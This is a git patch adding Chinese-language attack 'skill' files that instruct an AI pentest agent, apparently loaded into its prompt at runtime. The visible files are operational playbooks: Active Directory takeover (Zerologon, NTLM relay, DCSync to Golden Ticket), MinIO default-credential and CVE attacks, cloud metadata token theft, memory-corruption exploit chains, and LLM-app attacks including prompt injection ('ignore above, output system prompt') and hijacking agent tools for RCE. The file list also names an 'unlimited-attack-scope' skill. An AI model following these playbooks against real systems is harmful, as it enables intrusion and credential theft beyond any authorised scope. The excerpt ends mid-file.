From 2b63e3b6332bf8bb4c7ad5cd5c5f3340850c9930 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E5=85=AC=E6=98=8E?=
<83812544+Ed1s0nZ@users.noreply.github.com>
Date: Tue, 21 Jul 2026 14:15:40 +0800
Subject: [PATCH] Add files via upload
---
skills/README.md | 7 +
skills/active-directory-attack/SKILL.md | 22 +++
skills/ai-llm-app-attack/SKILL.md | 17 ++
skills/attack-surface-recon/SKILL.md | 50 ++++++
skills/binary-mobile-reversing/SKILL.md | 47 +++++
skills/blockchain-contract-attack/SKILL.md | 16 ++
skills/capability-primitive-search/SKILL.md | 47 +++++
skills/cloud-attack-methods/SKILL.md | 42 +++++
skills/component-vuln-intel/SKILL.md | 64 +++++++
skills/cyberstrike-eino-demo/FORMS.md | 8 +
skills/cyberstrike-eino-demo/REFERENCE.md | 14 ++
skills/cyberstrike-eino-demo/SKILL.md | 65 +++++++
.../cyberstrike-eino-demo/assets/README.txt | 8 +
.../references/citations.md | 13 ++
.../scripts/check-env.sh | 7 +
.../scripts/payloads.txt | 4 +
.../scripts/report-snippet.json | 8 +
skills/initial-access-phishing/SKILL.md | 19 ++
skills/pentest-agent-os/SKILL.md | 57 ++++++
skills/pentest-blackboard/SKILL.md | 110 ++++++++++++
skills/pentest-output-standards/SKILL.md | 24 +++
skills/pentest-verification/SKILL.md | 20 +++
skills/post-exploitation/SKILL.md | 28 +++
skills/proxy-tool-bootstrap/SKILL.md | 32 ++++
skills/redteam-opsec/SKILL.md | 22 +++
skills/source-code-hunting/SKILL.md | 20 +++
skills/specialized-attack-playbooks/SKILL.md | 169 ++++++++++++++++++
skills/unlimited-attack-scope/SKILL.md | 17 ++
skills/web-attack-methods/SKILL.md | 80 +++++++++
skills/wireless-hardware-attack/SKILL.md | 16 ++
skills/zero-day-discovery/SKILL.md | 29 +++
31 files changed, 1082 insertions(+)
create mode 100644 skills/README.md
create mode 100644 skills/active-directory-attack/SKILL.md
create mode 100644 skills/ai-llm-app-attack/SKILL.md
create mode 100644 skills/attack-surface-recon/SKILL.md
create mode 100644 skills/binary-mobile-reversing/SKILL.md
create mode 100644 skills/blockchain-contract-attack/SKILL.md
create mode 100644 skills/capability-primitive-search/SKILL.md
create mode 100644 skills/cloud-attack-methods/SKILL.md
create mode 100644 skills/component-vuln-intel/SKILL.md
create mode 100644 skills/cyberstrike-eino-demo/FORMS.md
create mode 100644 skills/cyberstrike-eino-demo/REFERENCE.md
create mode 100644 skills/cyberstrike-eino-demo/SKILL.md
create mode 100644 skills/cyberstrike-eino-demo/assets/README.txt
create mode 100644 skills/cyberstrike-eino-demo/references/citations.md
create mode 100644 skills/cyberstrike-eino-demo/scripts/check-env.sh
create mode 100644 skills/cyberstrike-eino-demo/scripts/payloads.txt
create mode 100644 skills/cyberstrike-eino-demo/scripts/report-snippet.json
create mode 100644 skills/initial-access-phishing/SKILL.md
create mode 100644 skills/pentest-agent-os/SKILL.md
create mode 100644 skills/pentest-blackboard/SKILL.md
create mode 100644 skills/pentest-output-standards/SKILL.md
create mode 100644 skills/pentest-verification/SKILL.md
create mode 100644 skills/post-exploitation/SKILL.md
create mode 100644 skills/proxy-tool-bootstrap/SKILL.md
create mode 100644 skills/redteam-opsec/SKILL.md
create mode 100644 skills/source-code-hunting/SKILL.md
create mode 100644 skills/specialized-attack-playbooks/SKILL.md
create mode 100644 skills/unlimited-attack-scope/SKILL.md
create mode 100644 skills/web-attack-methods/SKILL.md
create mode 100644 skills/wireless-hardware-attack/SKILL.md
create mode 100644 skills/zero-day-discovery/SKILL.md
diff --git a/skills/README.md b/skills/README.md
new file mode 100644
index 00000000..9945329d
--- /dev/null
+++ b/skills/README.md
@@ -0,0 +1,7 @@
+# Skills 目录(Agent Skills / Eino)
+
+- 每个技能为**子目录**,根上必须有 **`SKILL.md`**(YAML front matter:`name`、`description` + Markdown 正文),见 [agentskills.io](https://agentskills.io/specification.md)。
+- **目录名须与 `name` 一致**。
+- **运行时加载**:在 **Eino DeepAgent(多代理)** 会话中由 ADK **`skill` 中间件**渐进披露(系统提示中列出各 skill 的 name/description,模型再调用 **`skill`** 工具拉取 `SKILL.md` 全文)。可选开启 **`multi_agent.eino_skills.filesystem_tools`**,使用与本机相同的 `read_file` / `execute` 等访问包内脚本与资源。
+- **Web 管理**:HTTP `/api/skills/*` 仍用于列表、编辑、上传包内文件(实现为 `internal/skillpackage`,非 MCP)。
+- **运行时**:多代理(DeepAgent)会话内由 ADK **`skill`** 工具渐进加载;单代理 MCP 循环不含 Skills,需开多代理或后续单代理 Eino 路径。
diff --git a/skills/active-directory-attack/SKILL.md b/skills/active-directory-attack/SKILL.md
new file mode 100644
index 00000000..613634fd
--- /dev/null
+++ b/skills/active-directory-attack/SKILL.md
@@ -0,0 +1,22 @@
+---
+name: active-directory-attack
+description: >-
+ 内网域攻击:BloodHound,Kerberoast,ADCS ESC1/ESC8,NTLM Relay,Coerce,DACL,DCSync,Zerologon/NoPac/PrintNightmare,mitm6,LLMNR,Linux内网。Use when attacking Active Directory, ADCS, NTLM relay, or internal domain.
+tags: [渗透测试, penetration-testing, 红队]
+---
+
+## 内网域攻击
+
+```
+=== 内网域(2023+真实主战场) ===
+侦察: BloodHound(SharpHound收集→攻击路径) | Kerberos: GetNPUsers(AS-REP)/GetUserSPNs(Kerberoast)
+🚨ADCS(Certipy一把梭): certipy find -vulnerable | ESC1指定SAN申域管证书 | ESC8 relay到CA拿DC证书
+🚨NTLM Relay(比PtH重要,PtH常被EDR拦): ntlmrelayx -t ldap--escalate-user / -t http CA --adcs(ESC8) / RBCD
+🚨强制认证Coerce: PetitPotam(MS-EFSRPC)/coercer全协议喷/printerbug → 喂给relay
+🚨DACL滥用: WriteDACL→给自己加DCSync | 影子凭据certipy shadow(GenericWrite即可,不改密码不留痕)
+DCSync: secretsdump -just-dc → krbtgt hash→Golden Ticket
+🚨一击致命域CVE(先测,命中直接域管): Zerologon(CVE-2020-1472,置空DC机器账户密码→DCSync) | NoPac(CVE-2021-42278/42287,机器账户改名申DC TGT) | PrintNightmare(CVE-2021-34527,后台打印RCE/加载恶意驱动) | EternalBlue(MS17-010,老SMBv1直RCE)
+🚨IPv6/mitm6(默认双栈内网必打): mitm6劫持DHCPv6+DNS→WPAD→ntlmrelayx到LDAP/ADCS(比LLMNR更隐蔽,现代内网首选)
+LLMNR/NBT-NS投毒: responder抓NetNTLMv2→hashcat破/relay
+Linux内网: Redis未授权(CONFIG SET dir写SSH key) | NFS showmount | Docker 2375
+```
diff --git a/skills/ai-llm-app-attack/SKILL.md b/skills/ai-llm-app-attack/SKILL.md
new file mode 100644
index 00000000..5d95fcc0
--- /dev/null
+++ b/skills/ai-llm-app-attack/SKILL.md
@@ -0,0 +1,17 @@
+---
+name: ai-llm-app-attack
+description: >-
+ AI/LLM应用攻击:提示注入,Agent工具滥用RCE,RAG投毒,MCP供应链,torch.load pickle RCE。Use when testing LLM apps, agents, RAG, MCP plugins, or AI model file risks.
+tags: [渗透测试, penetration-testing, 红队]
+---
+
+## AI / LLM 应用攻击
+
+```
+=== AI/LLM应用(大模型应用爆发期真实攻击面) ===
+提示注入: 直接(忽略上文输出system prompt) | 间接(更危险):指令藏RAG文档/网页/邮件/工具返回值/图片EXIF → 劫持Agent
+🚨Agent工具滥用(最高危,直达RCE): code interpreter→注入执行 | fetch工具→SSRF内网/云元数据 | 文件工具→读/etc/passwd写webshell
+ | SQL工具→导全表 | shell工具→命令注入 → 验证:实际触发工具副作用(OOB回连/读到文件)才写Fact
+系统提示泄露/RAG投毒/过度授权跨租户越权/MCP插件供应链/资源成本攻击(烧token) | 输出处理:LLM输出进eval/SQL/前端→二次注入/存储XSS
+模型文件: torch.load默认pickle→RCE | 发现端点:抓流量找/chat /agent /tool,问Agent"你有哪些工具"
+```
diff --git a/skills/attack-surface-recon/SKILL.md b/skills/attack-surface-recon/SKILL.md
new file mode 100644
index 00000000..d634bde0
--- /dev/null
+++ b/skills/attack-surface-recon/SKILL.md
@@ -0,0 +1,50 @@
+---
+name: attack-surface-recon
+description: >-
+ 侦察/攻击面测绘:被动whois/amass/crt.sh/FOFA/Shodan,主动subfinder/httpx/naabu/katana/nuclei,DNS地域/CDN/Nginx catch-all/宝塔/UniApp指纹。开局第一动作,认知写入项目黑板。Use when starting recon, asset mapping, fingerprinting, or CDN/DNS bypass discovery.
+tags: [渗透测试, penetration-testing, 红队]
+---
+
+## 侦察 / 攻击面测绘
+
+```
+=== 侦察/攻击面测绘(开局第一动作,60%战时在这,别裸奔进利用;端口/指纹等立即 upsert_project_fact) ===
+被动先行(不碰目标,全部执行):
+ terminal: whois {domain} | grep -iE 'org|name|email|registrant'
+ terminal: amass intel -asn {ASN} -d {domain}
+ browser_navigate: https://crt.sh/?q=%.{domain} (证书透明挖子域)
+ terminal: curl -s "https://crt.sh/?q=%.{domain}&output=json" | python3 -c "import sys,json;[print(x['name_value']) for x in json.load(sys.stdin)]" | sort -u
+ terminal: dig +short {domain} @114.114.114.114; dig +short {domain} @8.8.8.8 (对比差异=CDN)
+ terminal: curl -s "https://web.archive.org/cdx/search/cdx?url=*.{domain}/*&output=text&fl=original&collapse=urlkey" | head -100
+ browser_navigate: https://fofa.info/result?qbase64=$(echo -n 'domain="{domain}"' | base64)
+ browser_navigate: https://www.shodan.io/search?query=hostname:{domain}
+主动流水线(逐步执行):
+ terminal: subfinder -d {domain} -silent | tee subs.txt; amass enum -d {domain} -passive >> subs.txt; sort -u subs.txt -o subs.txt
+ terminal: cat subs.txt | dnsx -silent | tee alive_subs.txt
+ terminal: cat alive_subs.txt | httpx -silent -title -status-code -tech-detect -cdn | tee httpx_out.txt
+ terminal: naabu -l alive_subs.txt -top-ports 1000 -silent | tee ports.txt; nmap -sCV -iL <(head -20 alive_subs.txt) -oN nmap_out.txt
+ terminal: katana -list alive_subs.txt -silent -d 3 | tee urls.txt; gau {domain} >> urls.txt
+ terminal: cat urls.txt | grep -iE '\.(js|json)$' | httpx -silent -mc 200 | while read u; do curl -s "$u" | grep -oiE '(api|secret|key|token|password|aws|endpoint)[^"]*'; done
+ terminal: ffuf -u https://{target}/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403 -fs {catch-all-size}
+ terminal: nuclei -l alive_subs.txt -t /root/nuclei-templates/ -severity medium,high,critical -o nuclei_results.txt
+ → httpx输出识别到框架/版本 → 立即触发 `component-vuln-intel` 搜索序列
+🚨DNS地域限制绕过: 国内CDN(987dns/dnspod/阿里云)常对海外DNS返0.0.0.0,用114.114.114.114解析才拿到真实IP。多DNS对比: dig @1.1.1.1 vs @114.114.114.114 vs @8.8.8.8,差异即CDN地域策略。真实IP藏在国内DNS结果中。
+🚨CDN响应过滤绕过(GCCDN/PWS等): CDN对特定URL模式(admin路径/actuator)返502而非转发后端响应:
+ 指纹识别: Server: PWS/x.x.x.x | Via: 1.1 PS-XXX-XXXX:N (W) | X-Px: ms CS-XXX-XXXXnone(origin) | 通配*.gccdn.net CNAME
+ 502≠不存在: 502=后端响应被CDN过滤, 404=路径真不存在, 403=CDN路由拒绝。用502/404/403差异枚举存活端点
+ 路径穿越确认: /api/v1/v/..;/..;/actuator/env → 502(存在被过滤) vs /api/v1/v/..;/..;/xxxx → 404(Tomcat原生不存在)
+ CDN节点多端口: 扫CDN IP的3000-9200端口(8000/8080/9090常代理同一后端但规则可能不同,9200可能是独立nginx)
+ 绕过尝试矩阵(本session全测均失败,记录防重复): URL编码/双编码/大小写/分号后缀/TE空格走私/HTTP管线化/Accept-Encoding/Range
+ 有效信息提取: 即使502,POST actuator/env仍可能被后端执行(盲写属性)→需配合refresh触发(若refresh 404则链断)
+🚨Nginx Catch-All陷阱: PHP CMS配rewrite全路由→所有路径返200同大小=catch-all(不是文件存在!)。识别: 用3个随机路径对比size一致=catch-all。真正存活路径用.php后缀测(nginx `location ~ \.php$`直通FastCGI,不存在返真404)。
+🚨Pure-FTPd puredb损坏≠认证绕过: "Unable to read the indexed puredb file"=虚拟用户db坏了,所有用户名(包括匿名)都触发421断连。PAM系统用户认证也走puredb先→全部失败。不是攻击面,跳过。
+🚨同IP多站横向: 反查IP(SecurityTrails/微步/VirusTotal)找同服务器其他域名→其中弱站(独立nginx配置返真404=可枚举)突破→宝塔面板统一管理=横向所有站。
+指纹优先级: 一旦httpx/wappalyzer识别出框架版本 → 立即转 `component-vuln-intel` 联网情报。先测绘清攻击面,再Reason选最肥的边,不要看到一个洞就一头扎进去。
+🚨DNS通配符CDN识别: 所有子域名(包括不存在的随机子域)都解析到CDN=通配符DNS(*.domain → CDN CNAME)。此时枚举子域名无意义,所有IP都是CDN节点。
+ 验证: dig random123456.target.com → 如果也有A记录且指向已知CDN IP = 通配符。真实源IP需从其他渠道获取(历史DNS/证书透明/同服务器其他域名/邮件头/SSRF)
+🚨宝塔面板(BT Panel)识别: Cookie名为32位hex hash(如789d6d2de16419a1e8bbfea926c8996e) + 302跳/login + nginx反代 + "入口校验失败"页面 = BT Panel随机安全入口
+ Windows版: IIS+nginx共存, 8888端口面板, 888端口phpMyAdmin(可能), /index.html可能泄露站点配置(反向代理目标URL/站点名)
+ 攻击: 入口路径爆破(8位随机字母数字) | 历史CVE(API key未授权/phar反序列化) | 面板默认FTP/MySQL账户复用
+🚨Nginx 404差分指纹: 当nginx catch-all重写掩盖真实路径时,比较响应大小——真实nginx 404(146B)=文件在磁盘存在但location块deny, catch-all(大页面)=路由未匹配。批量探测CMS标志路径(/caches/configs/, /phpcms/modules/, /statics/等)区分响应大小即可确认CMS类型。详见references/nginx-404-differential-fingerprinting.md
+🚨UniApp/DCloud APK逆向快速路径: assets/apps/__UNI__*/www/app-service.js = 全部业务逻辑(JS混淆); assets/zlsioh.dat = 加密配置(API域名); lib/arm64-v8a/libirzlemnr.so = 解密库。JS用RC4+base64解混淆(提取a0G数组+a0m解码器); .so中strings搜16字符随机串=可能密钥, 搜`x数字.数字.数字.数字x`格式=硬编码IP(通常是DCloud HTTPDNS基础设施而非目标API)。详见references/uniapp-dcloud-apk-reversing.md
+```
diff --git a/skills/binary-mobile-reversing/SKILL.md b/skills/binary-mobile-reversing/SKILL.md
new file mode 100644
index 00000000..a6fb1896
--- /dev/null
+++ b/skills/binary-mobile-reversing/SKILL.md
@@ -0,0 +1,47 @@
+---
+name: binary-mobile-reversing
+description: >-
+ APK/EXE/二进制:UniApp/DCloud/Flutter逆向,证书固定绕过,导出组件,内存破坏exploit链,IoT固件。Use when reversing APK/EXE, UniApp/Flutter, native .so, or memory-corruption exploits.
+tags: [渗透测试, penetration-testing, 红队]
+---
+
+## APK / EXE / 二进制逆向
+
+```
+=== APK/EXE/二进制 ===
+APK: apktool d / jadx | Manifest看exported组件/deeplink/debuggable | rg硬编码密钥+API地址 | .so strings/Ghidra | frida/objection动态
+🚨UniApp/DCloud APK逆向(H5混合应用,业务全在JS不在DEX):
+ 识别: __UNI__XXXXXXX + assets/apps/ + uni-jsframework.js (NOT Flutter,无libapp.so) | manifest.json含"uni-app"字段
+ 核心文件: assets/apps/__UNI__XXX/www/app-service.js (800KB+混淆JS=全部业务逻辑) | jadx只能看壳(native插件注册),真逻辑在JS
+ JS解混淆(RC4+字符串数组旋转): 提取a0G()大数组(10000+元素)+a0m(idx,key)解码函数(base64→RC4)+rotation IIFE→拼可执行JS→node批量解码→JSON字典(offset→明文)
+ 🔴陷阱: rotation IIFE可能以逗号结尾(不是分号!属于更大表达式)→node报"Unexpected token"→按实际结束符提取
+ 加密配置zlsioh.dat/dcloud3.dat: header(96B偏移表:off40=block1解压/44=压缩/60=block2偏移/64=block2大小/80=block3偏移)+block1(zlib→DEX)+block2(加密,含API域名列表←关键,需.so解密)+block3(zlib→AndroidX类映射)
+ zlib魔数78DA=未加密直接解压 | 无魔数=加密块(密钥在.so .rodata/汇编立即数)
+ .so字符串解混淆: 偶数位字符提取→反转(e.g."mAojcl.dubdFiHaebP.nwywfwb"→"www.baidu.com") | strings -n8 lib*.so找含点号长串
+ ⚠️陷阱: .so中x分隔IP串(如"x111.230.69.120x118.126.105.164")=DCloud HTTPDNS节点(非API后端!140.205.11.x=阿里云DNS,111.230/118.126/106.52/42.193=腾讯云) | resources.arsc报错是故意反编译保护(不影响jadx) | assets伪PNG(1-8px)=完整性校验非数据 | fcapp.run仅APK下载代理
+ 关键API变量: $apiHost/$opHost(运行时动态设置,不硬编码)/urlList/checkAvailableDomainList(HEAD domain/favicon.ico测连通,200-399=可用)
+ 高价值端点: /app_init /user/gustRegister(游客无验证注册) /user/getOssSts(OSS临时凭据!) /uploadFile2
+ 配置: manifest.json(appId/版本/nativePlugins→wrs-httpserver=内嵌HTTP服务!) | supplierconfig.json(vivo/xiaomi/huawei/oppo appid) | dcloud_uniplugins.json(插件清单)
+ ChengZi SDK(橙子建站): init3接口返回XOR单字节(key=0x96,见chengzi_decrypt.py)加密JSON→解密得APK真实下载链接(fu字段)+渠道码
+ 域名兜底: 静态拿不到$apiHost时→Android模拟器(Waydroid/AVD)+tcpdump/mitmproxy抓运行时DNS
+ 参见: references/uniapp-apk-reverse-engineering.md, references/uniapp-apk-reversing.md, scripts/js_rc4_deobfuscate.js, scripts/chengzi_decrypt.py
+🚨Flutter APK快速逆向(无需脱壳): 加固(MogoSec/梆梆/360)保护DEX层,但Flutter的lib/arm64-v8a/libapp.so(Dart AOT)通常不加密
+ strings -n8 libapp.so|grep 'https\?://' → 全部硬编码URL/API域名/S3地址/CDN
+ strings -n8 libapp.so|grep -E '^/' → API路径矩阵(/Member/Login, /Web/VideoList, /BBS/GetSTSToken等)
+ strings -n8 libapp.so|grep -iE 'key|secret|token|aws|bucket' → 凭据/密钥泄露
+ assets/config_*.xml + assets/data_*.dat → 加密配置(可能含域名/API地址) | .DS_Store → macOS开发者信息泄露 | assets/xinstall* → 渠道追踪SDK
+🚨Native .so字符串反混淆(通用模式): 混淆字符串在.rodata段
+ 常见模式: 偶数位字符提取+反转(如"mAojcl.dubdFiHaebP..."→取偶数位→反转=明文域名) | XOR常量 | RC4+base64
+ 识别: strings -n8 lib*.so找16字节等长串(AES密钥/IV)/含点号串(域名)/x分隔IP串(HTTPDNS) | nm --dynamic找混淆导出符号(16字符随机大小写)
+ 验证: 已知字符串("classes.dex"/"io.dcloud.application")对照混淆版→逆推算法→批量解码
+🚨移动通用(非UniApp/Flutter的常规APP):
+ 证书固定绕过(抓HTTPS): objection android sslpinning disable | frida universal-unpinning | 改smali删pinning重打包
+ 导出组件越权: Manifest exported=true的Activity/Service/Provider/Receiver → drozer/adb am start跨应用调 | ContentProvider SQLi/路径穿越
+ 深链接(deeplink)劫持: scheme://未校验→WebView加载任意URL(XSS/文件读) | 参数进intent→组件劫持
+ 不安全存储: /data/data/pkg/(shared_prefs明文token/db未加密/logcat泄露) | sdcard世界可读
+ WebView: addJavascriptInterface(<4.2 RCE)/file://读本地/setAllowFileAccess | 静态:MobSF一把梭 | iOS:砸壳(frida-ios-dump)+Ghidra看Mach-O+objection动态
+EXE/PE: file/strings | Ghidra/IDA反编译找硬编码/加密/网络逻辑 | x64dbg动调 | 漏洞:溢出/格式化串/UAF/DLL劫持
+🚨内存破坏exploit链(崩溃→RCE): checksec看防护 → 确定原语(栈溢出/UAF/格式化串=任意读写)
+ → 信息泄露绕ASLR → ROP链(ROPgadget/pwntools ret2libc) → 堆利用(tcache poison/__free_hook劫持)
+ → 任意写改GOT/hook/vtable/exit_funcs → 控制流劫持 | 固件IoT:binwalk -Me提取+qemu-user调试(防护弱常直接栈溢出)
+```
diff --git a/skills/blockchain-contract-attack/SKILL.md b/skills/blockchain-contract-attack/SKILL.md
new file mode 100644
index 00000000..875c2593
--- /dev/null
+++ b/skills/blockchain-contract-attack/SKILL.md
@@ -0,0 +1,16 @@
+---
+name: blockchain-contract-attack
+description: >-
+ 区块链/智能合约:Etherscan,slither/mythril,重入/访问控制/预言机/闪电贷,跨链桥,RPC暴露。Use when auditing smart contracts, DeFi, or blockchain attack surfaces.
+tags: [渗透测试, penetration-testing, 红队]
+---
+
+## 区块链 / 智能合约
+
+```
+=== 区块链/智能合约 ===
+源码: Etherscan getsourcecode API | 审计 slither/mythril/manticore
+手工: 重入(.call{value}先转账后改状态违反C-E-I) | 访问控制(onlyOwner缺失) | 整数溢出(<0.8无SafeMath)
+ 预言机操纵(闪电贷瞬时操纵AMM价格) | 随机数(block.timestamp可控) | 授权滥用(无限approve/permit重放) | delegatecall代理storage冲突
+DeFi: 闪电贷攻击/三明治(抢跑)/治理攻击/签名重放 | 跨链桥:签名阈值绕过/重放 | RPC:暴露8545直接eth_sendTransaction
+```
diff --git a/skills/capability-primitive-search/SKILL.md b/skills/capability-primitive-search/SKILL.md
new file mode 100644
index 00000000..4a9e815a
--- /dev/null
+++ b/skills/capability-primitive-search/SKILL.md
@@ -0,0 +1,47 @@
+---
+name: capability-primitive-search
+description: >-
+ 能力原语+状态空间搜索:read/write/exec/ssrf等原语凑RCE等式A-F,低危映射,正反向搜索,跨域兑现。Use when no single RCE, chaining low-severity vulns, or deriving novel attack chains.
+tags: [渗透测试, penetration-testing, 红队]
+---
+
+## 能力原语 + 状态空间搜索
+
+```
+心法: RCE不是一个"漏洞",是一组"能力"凑齐后的涌现。没单点大洞时,几个info级/低危照样拼出代码执行。
+ 固有思维(要打破): "扫不到RCE/反序列化/上传→这站打不动了"。你的活不是"找RCE漏洞",是"凑齐执行所需的原语"。
+ 把每个Fact抽象成能力原语(不记"发现X漏洞",记"现在拥有什么能力+限制"):
+ read(path) write(path) exec(cmd) ssrf(url) sqli redirect(url) eval_expr idor(id) cred(svc,priv) coerce_auth write_acl
+
+RCE只需满足任意一条等式,拆成可获取的原语去凑:
+ A. 能写文件 + 文件被当代码执行 = RCE
+ B. 能控配置/env + 配置指向你的代码 = RCE
+ C. 能进管理面 + 面板自带执行功能 = RCE(不是漏洞,是功能!)
+ D. 有凭据 + 服务有合法执行入口 = RCE(滥用合法功能)
+ E. 能任意读 + 读到凭据 + 凭据可登录执行点 = RCE
+ F. 能控数据 + 数据流入危险sink(eval/模板/SQL) = RCE
+
+低危→原语映射(把"鸡肋漏洞"翻译成拼图碎片):
+ info泄露(.git/备份/堆栈)→源码/路径/密钥→喂B/E/F | LFI/任意读→读配置密钥→E,或日志投毒→A
+ SSRF(哪怕只GET)→打内网Redis/Consul/K8s/云元数据→C; 云元数据拿临时凭据→D
+ 弱/默认/复用凭据→进带任务/插件/webhook/CI功能的后台→C | CORS/CSRF/XSS→借管理员浏览器调执行类功能→C
+ 可控上传(哪怕限扩展名)→配路径穿越/解析差异/.htaccess→A | 配置写入→改模板/日志/连接串→B
+ SQLi(哪怕只读)→读hash/密钥→E,或OUTFILE→A | 模板可控→SSTI→F | 原型污染→污染下游属性→F
+
+状态空间搜索(无现成链时自己搜): 状态=当前能力集, 动作=用能力解锁新能力, 目标=Goal。
+ 正向: 对每个能力问"能解锁什么?"; 对每对能力问"组合出什么?"
+ (read+write=改配置; ssrf+内网redis=RCE; sqli+FILE=webshell; coerce_auth+relay=域SYSTEM; idor+massassign=改他人admin)
+ 反向(卡住时主用): 锁定Goal=执行命令→选最接近现状的等式当模板→缺哪个原语设为子目标→
+ 手上哪个低危/功能/info泄露能凑出它?→凑不出递归拆/换等式 → 正反向在中间相遇=完整链浮现 → 逐段验证
+
+突破口(看到别走开):
+ ·"功能即原语": 后台的任务计划/插件/模板编辑/SQL控制台/文件管理器/导入导出/webhook —— 合法功能但登进去就是现成执行/读写原语。渗透者眼里没"功能/漏洞"之分,只有"能力"。
+ ·跨协议跳跃: SSRF的gopher/dict/file把"只能发HTTP"变成"打Redis/发SMTP/读文件"。
+ ·凭据复用是万能胶: 任意一处拿到的密码/key默认全网复用全部喷一遍。横向常比纵向快。
+ ·解析差异: 上传校验/路由/反代三方理解不一致→缝隙里有绕过(双扩展名/编码/Host混淆)。
+ ·时间维度: TOCTOU/token可预测/缓存投毒,把"偶尔"变"稳定",把不可利用变可利用。
+ ·跨域兑现: 每拿一个能力问"它在别的域值多少钱"——能力是通用货币。Web SSRF→进云元数据接管账户; APK硬编码→直连内部API绕前端鉴权; 供应链→拿CI密钥进生产。
+ ·创造模式(已知组合用尽时): 重审能力边界(只能读/var/log? /proc/self/environ呢) | 找等价RCE的sink(写crontab/.bashrc/CI配置/LD_PRELOAD/authorized_keys/systemd unit都=RCE) | 信息(报错/时序/响应长度)当侧信道 | 假设取反:列"我以为不可能"逐条问"凭什么不可能"
+> 推导出的链是假设(可 tentative 记 note/chain),实际执行+证据后才写 confirmed Fact / record_vulnerability。整条链每步都验证过才成立。
+```
+
diff --git a/skills/cloud-attack-methods/SKILL.md b/skills/cloud-attack-methods/SKILL.md
new file mode 100644
index 00000000..27cc373a
--- /dev/null
+++ b/skills/cloud-attack-methods/SKILL.md
@@ -0,0 +1,42 @@
+---
+name: cloud-attack-methods
+description: >-
+ 云攻击:元数据API,S3/K8s,AWS/Azure/GCP身份提权,MinIO矩阵,阿里云FC,ChengZi SDK解密。Use when attacking cloud metadata, IAM, K8s, MinIO, Aliyun FC, or cloud post-ex.
+tags: [渗透测试, penetration-testing, 红队]
+---
+
+## 云攻击手法
+
+```
+=== 云 ===
+元数据API: AWS 169.254.169.254/latest/meta-data/iam/ | Azure -H Metadata:true | GCP metadata.google.internal | 阿里云100.100.100.200
+对象存储: aws s3 ls --no-sign-request | K8s: /var/run/secrets/.../token → api/v1拿secrets/exec pods → cluster-admin
+🚨云身份攻击(拿到key/token后的提权横向):
+ AWS: enumerate-iam/cloudfox/ScoutSuite枚举权限 → pacu自动找privesc(iam:PassRole+lambda/ec2/glue等18+条) | STS AssumeRole跨账户 | Lambda环境变量偷密钥
+ Azure/Entra: roadtools(roadrecon dump租户)/AADInternals | 设备码/刷新令牌 | Managed Identity IMDS偷token | Automation Runbook RCE | Key Vault读密钥
+ Entra后渗透: GraphRunner(Graph API枚举/搜邮件/加后门App) | 服务主体加凭据(隐蔽持久化) | 动态组滥用 | PRT偷取横向
+ GCP: 服务账户token(metadata) | serviceAccountTokenCreator/actAs提权 | gcloud枚举
+🚨K8s深入(拿到集群网络/pod): kubelet 10250未授权(/pods列举,/exec进任意容器) | etcd 2379无认证读全secrets | API Server匿名 | RBAC过权SA(kubectl auth can-i --list) | 特权pod挂宿主逃逸 | 云K8s抢node身份→IMDS
+🚨MinIO攻击矩阵:
+ 指纹: Server: MinIO | /minio/health/live → 200(空body) | /minio/health/cluster → 200 | 9000(API)+9001(Console)
+ Console爆破: POST http://IP:9001/api/v1/login body={"accessKey":"minioadmin","secretKey":"minioadmin"} | 403="invalid Login"
+ STS API: POST /?Action=AssumeRoleWithWebIdentity&Version=2011-06-15&WebIdentityToken=JWT → 需JWT provider配置
+ CVE-2023-28432: POST /minio/health/cluster?verify (信息泄露,返回环境变量含MINIO_SECRET_KEY)
+ CVE-2023-28434: 路径穿越 /bucket/..%2F..%2Fetc/passwd → XMinioInvalidResourceName(已修补则不可用)
+ 匿名访问: GET /bucket-name/ → ListBucket(200)=匿名读 | PUT /bucket/file → AccessDenied(403)=匿名写被禁
+ 上传绕过: 应用层sign验证dir参数但不校验→可写任意bucket(sign只校验cid+et+og不含dir)
+ 扩展名绕过: .jsp;.jpg / .jsp%00.jpg 过应用黑名单但MinIO存储为静态文件(image/jpeg)不执行
+🚨阿里云FC函数(fcapp.run)枚举:
+ 识别: URL含 *.cn-{region}.fcapp.run → 阿里云函数计算(Serverless)
+ 特征: POST返回"unauthorized method 'POST'"(405) = 只接受GET | 200+{"code":200,"msg":"Forbidden"} = 路径存在但缺参数
+ 利用: GET /{path}/{id}.html → 302重定向泄露真实CDN域名+auth_key签名URL(暴露CDN域名/bucket结构/签名算法)
+ 枚举: 不同路径前缀对应不同APP(/mkzavakx/ vs /kpqwbcoq/) | 无效ID→302到qzone.qq.com/404.html(fallback)
+ 路径穿越: FC正确规范化(../无效),但可枚举不同function路径
+ CDN auth_key(昆仑CDN kunlunaq.com): format=timestamp-rand-uid-md5(uri-timestamp-rand-uid-privatekey) → 破解需privatekey | x-tengine-error暴露"denied by req auth"
+ FC→CDN链路: FC函数生成签名URL→kunlun/kijwsks.com CDN下载 | referer伪装百度(mo.baidu.com)
+🚨橙子建站(ChengZi SDK)解密:
+ 初始化: POST https://random.d3504.cn/init3 body={appkey,channelCode,...} → 加密响应(base64)
+ 解密: 单字节XOR key=0x96 → JSON(channelCode/fu下载URL/csu跟踪URL/ph安装包hash)
+ d3504.cn通过Cloudflare+阿里云DDoS防护(aliyunddos)+昆仑CDN(kunlunaq.com) → 多层防护
+ 关键: fu字段=真实APK下载FC函数URL(可能与落地页不同region!) | csu=点击跟踪回调URL
+```
diff --git a/skills/component-vuln-intel/SKILL.md b/skills/component-vuln-intel/SKILL.md
new file mode 100644
index 00000000..6dc34fb1
--- /dev/null
+++ b/skills/component-vuln-intel/SKILL.md
@@ -0,0 +1,64 @@
+---
+name: component-vuln-intel
+description: >-
+ 联网情报收集:识别组件后必做CVE/搜索引擎/中文社区/GitHub PoC/资产引擎/即时情报/依赖扩展+受阻换路。Use when a framework/component/version is identified and must search before exploit.
+tags: [渗透测试, penetration-testing, 红队]
+---
+
+## 联网情报收集(识别组件→立即全网搜;结果=线索/tentative,验证前不是 confirmed Fact)
+
+```
+🔴一识别出框架/组件/版本 → 必须停本地扫描立即联网(不搜就利用=盲打=违反铁律)。
+🔴以下序列全部执行(不是选做),用{C}=组件名 {V}=版本替换。每步都用browser_navigate或terminal实际访问:
+
+1.CVE漏洞库(必做,找已知漏洞):
+ terminal: searchsploit {C} {V}
